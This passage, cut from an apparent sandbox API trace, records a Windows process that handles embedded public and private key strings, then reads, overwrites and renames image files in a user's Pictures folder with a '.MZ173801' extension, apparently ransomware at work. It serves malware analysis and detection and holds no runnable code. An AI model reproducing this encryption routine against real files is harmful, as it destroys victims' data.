bDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24caebc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0158.478] GetCurrentThreadId () returned 0xab4 [0158.478] GetCurrentThreadId () returned 0xab4 [0158.478] GetCurrentThreadId () returned 0xab4 [0158.478] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.478] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24dbf1c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.479] GetCurrentThreadId () returned 0xab4 [0158.479] GetCurrentThreadId () returned 0xab4 [0158.479] GetCurrentThreadId () returned 0xab4 [0158.479] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\Zu7sT8ob.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\zu7st8ob.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0158.479] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0158.479] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0158.479] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x11f4a [0158.479] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0158.479] ReadFile (in: hFile=0x2f8, lpBuffer=0x24e3d20, nNumberOfBytesToRead=0x11f4a, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24e3d20*, lpNumberOfBytesRead=0x19f74c*=0x11f4a, lpOverlapped=0x0) returned 1 [0158.480] CloseHandle (hObject=0x2f8) returned 1 [0158.481] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\Zu7sT8ob.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\zu7st8ob.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0158.482] WriteFile (in: hFile=0x2f8, lpBuffer=0x24f5d50*, nNumberOfBytesToWrite=0x11f4a, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24f5d50*, lpNumberOfBytesWritten=0x19f758*=0x11f4a, lpOverlapped=0x0) returned 1 [0158.484] CloseHandle (hObject=0x2f8) returned 1 [0158.486] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\Zu7sT8ob.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\zu7st8ob.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\Zu7sT8ob.jpg.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\zu7st8ob.jpg.mz173801")) returned 1 [0158.487] GetCurrentThreadId () returned 0xab4 [0158.487] GetCurrentThreadId () returned 0xab4 [0158.487] GetCurrentThreadId () returned 0xab4 [0158.487] GetCurrentThreadId () returned 0xab4 [0158.487] GetCurrentThreadId () returned 0xab4 [0158.487] GetCurrentThreadId () returned 0xab4 [0158.487] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76a6e3f0, ftCreationTime.dwHighDateTime=0x1d5e579, ftLastAccessTime.dwLowDateTime=0x60bf5e60, ftLastAccessTime.dwHighDateTime=0x1d5ef64, ftLastWriteTime.dwLowDateTime=0x60bf5e60, ftLastWriteTime.dwHighDateTime=0x1d5ef64, nFileSizeHigh=0x0, nFileSizeLow=0x11f4a, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Zu7sT8ob.jpg", cAlternateFileName="")) returned 0 [0158.487] GetLastError () returned 0x12 [0158.487] FindClose (in: hFindFile=0xa1b818 | out: hFindFile=0xa1b818) returned 1 [0158.487] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ae56be0, ftCreationTime.dwHighDateTime=0x1d5f0fb, ftLastAccessTime.dwLowDateTime=0x889c218e, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x889c218e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0158.487] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0158.487] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.487] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ae56be0, ftCreationTime.dwHighDateTime=0x1d5f0fb, ftLastAccessTime.dwLowDateTime=0x889c218e, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x889c218e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0158.487] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.488] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.488] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8d81ed0, ftCreationTime.dwHighDateTime=0x1d5e669, ftLastAccessTime.dwLowDateTime=0x53aeab90, ftLastAccessTime.dwHighDateTime=0x1d5eccb, ftLastWriteTime.dwLowDateTime=0x85a130b2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2544, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="-1TC27W511TZ.bmp.MZ173801", cAlternateFileName="-1TC27~1.MZ1")) returned 1 [0158.488] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.488] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.488] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb729b880, ftCreationTime.dwHighDateTime=0x1d5ea47, ftLastAccessTime.dwLowDateTime=0x90ef1520, ftLastAccessTime.dwHighDateTime=0x1d5e92f, ftLastWriteTime.dwLowDateTime=0x85a61c75, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x88c6, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="1yb8XS7Sv411u.bmp.MZ173801", cAlternateFileName="1YB8XS~1.MZ1")) returned 1 [0158.488] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.488] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.488] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c6b040, ftCreationTime.dwHighDateTime=0x1d5e22a, ftLastAccessTime.dwLowDateTime=0xabf3da0, ftLastAccessTime.dwHighDateTime=0x1d5e23f, ftLastWriteTime.dwLowDateTime=0x85a859ee, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x186be, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="aEhM511O8dO.png.MZ173801", cAlternateFileName="AEHM51~1.MZ1")) returned 1 [0158.488] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.488] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.488] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36509770, ftCreationTime.dwHighDateTime=0x1d5e81b, ftLastAccessTime.dwLowDateTime=0xf0f8cd0, ftLastAccessTime.dwHighDateTime=0x1d5e851, ftLastWriteTime.dwLowDateTime=0x85ad1e97, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xe7be, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="BaruB.jpg.MZ173801", cAlternateFileName="BARUBJ~1.MZ1")) returned 1 [0158.488] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.488] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.488] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc70eb5c0, ftCreationTime.dwHighDateTime=0x1d5eb87, ftLastAccessTime.dwLowDateTime=0x2e6e1da0, ftLastAccessTime.dwHighDateTime=0x1d5ebc9, ftLastWriteTime.dwLowDateTime=0x85b1e339, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x11122, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="br3Sl.bmp.MZ173801", cAlternateFileName="BR3SLB~1.MZ1")) returned 1 [0158.488] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.488] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.488] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2576c10, ftCreationTime.dwHighDateTime=0x1d5e67a, ftLastAccessTime.dwLowDateTime=0xd56d7250, ftLastAccessTime.dwHighDateTime=0x1d5e26d, ftLastWriteTime.dwLowDateTime=0x85b445b4, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4c5a, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="CyPtYrEBdI9stHyXAH.gif.MZ173801", cAlternateFileName="CYPTYR~1.MZ1")) returned 1 [0158.488] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.488] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.488] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4de3f1a0, ftCreationTime.dwHighDateTime=0x1d5e61a, ftLastAccessTime.dwLowDateTime=0xb9f78fe0, ftLastAccessTime.dwHighDateTime=0x1d5eeb8, ftLastWriteTime.dwLowDateTime=0x85bb6bef, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x16e9d, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="dCe5ivejzMlw0ls1pYC.jpg.MZ173801", cAlternateFileName="DCE5IV~1.MZ1")) returned 1 [0158.488] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.488] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.488] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39648ce0, ftCreationTime.dwHighDateTime=0x1d5e236, ftLastAccessTime.dwLowDateTime=0xf96895a0, ftLastAccessTime.dwHighDateTime=0x1d5e1c7, ftLastWriteTime.dwLowDateTime=0x85bdcdf4, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x17926, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="HyovCFdDMEMPXi2tYJN.png.MZ173801", cAlternateFileName="HYOVCF~1.MZ1")) returned 1 [0158.488] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.488] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.488] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7971c0, ftCreationTime.dwHighDateTime=0x1d5eb10, ftLastAccessTime.dwLowDateTime=0xf3a44450, ftLastAccessTime.dwHighDateTime=0x1d5e74b, ftLastWriteTime.dwLowDateTime=0x85c04832, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x5535, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="KOUa9IHzzFzSN.bmp.MZ173801", cAlternateFileName="KOUA9I~1.MZ1")) returned 1 [0158.488] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.488] 